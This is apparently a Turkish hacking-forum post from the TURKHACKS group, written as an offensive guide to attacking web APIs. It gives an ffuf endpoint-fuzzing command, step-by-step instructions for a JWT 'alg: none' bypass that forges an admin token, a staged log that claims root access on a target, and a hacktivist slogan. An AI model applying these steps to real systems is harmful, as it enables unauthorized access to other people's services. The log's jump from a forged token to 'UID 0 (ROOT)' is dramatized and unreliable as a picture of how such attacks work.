Sistemlerin Görünmez Kalbi: API Güvenliği ve Tam Erişim Rehberi"
Selamlar TURKHACKS ailesi. Bugün, web güvenliğinde genellikle göz ardı edilen ama ele geçirildiğinde tüm kaleyi düşüren bir konuya giriyoruz: API Pentesting. Bir hacker için API, doğrudan veritabanına açılan arka kapıdır. Bu rehberde, bir sistemi MasterRT usulü nasıl analiz edip dize getireceğinizi öğreneceksiniz.
BÖLÜM 1: KEŞİF VE HARİTALAMA (API ENUMERATION)
Teori: API uç noktaları (endpoints), sunucunun dış dünya ile konuştuğu kapılardır. Bu kapıları bulmadan içeri giremezsiniz.Uygulama: Gizli API yollarını bulmak içinffuf aracını kullanarak "fuzzing" yapıyoruz.
Bash:
ffuf -u [URL='https://www.google.com/search?q=https://hedefsite.com/FUZZ']https://hedefsite.com/FUZZ[/URL] -w /usr/share/wordlists/dirb/common.txt -mc 200,403BÖLÜM 2: JWT (JSON WEB TOKEN) MANİPÜLASYONU
Teori: JWT, kullanıcının kimliğini doğrulayan dijital bir pasaporttur. Eğer bu pasaportun algoritmasını veya içeriğini değiştirebilirseniz, sistem sizi "Admin" olarak tanır.Uygulama (None Algorithm Attack):- Yakaladığınız JWT token'ın header kısmını çözün.
"alg": "RS256"değerini"alg": "none"olarak değiştirin.- Payload kısmındaki
"user": "guest"değerini"user": "admin"yapın. - Token'ı imzasız (signature kısmını silerek) sunucuya geri gönderin.
BÖLÜM 3: OPERASYON ANLIK GÖRÜNTÜSÜ
Bash:
[+] TARGET: [URL='https://www.google.com/search?q=https://api.vulnerable-target.com/v1/']https://api.vulnerable-target.com/v1/[/URL][+] SCANNING FOR ENDPOINTS...[!] FOUND: /admin/config/export (Status: 403)[+] ATTEMPTING JWT ALGORITHM BYPASS...[+] HEADER: {"alg":"none","typ":"JWT"}[+] PAYLOAD: {"user":"MasterRT","role":"admin"}[+] TOKEN RE-GENERATED. SENDING EXPLOIT PACKET...[SUCCESS] ACCESS GRANTED. SYSTEM UID: 0 (ROOT)MASTERRT | API PENTEST CHECKLIST
| AŞAMA | İŞLEM | DURUM |
|---|---|---|
| 1. Discovery | Subdomain & Endpoint Fuzzing | COMPLETED |
| 2. Auth Test | JWT Algorithm & Secret Cracking | BYPASSED |
| 3. Privilege | IDOR & Mass Assignment Check | ROOTED |
MasterRT | TURKHACKS "Kodlarımızla yazar, sessizliğimizle sileriz. Adalet mülkün temelidir, sarsıldığında biz oradayız."
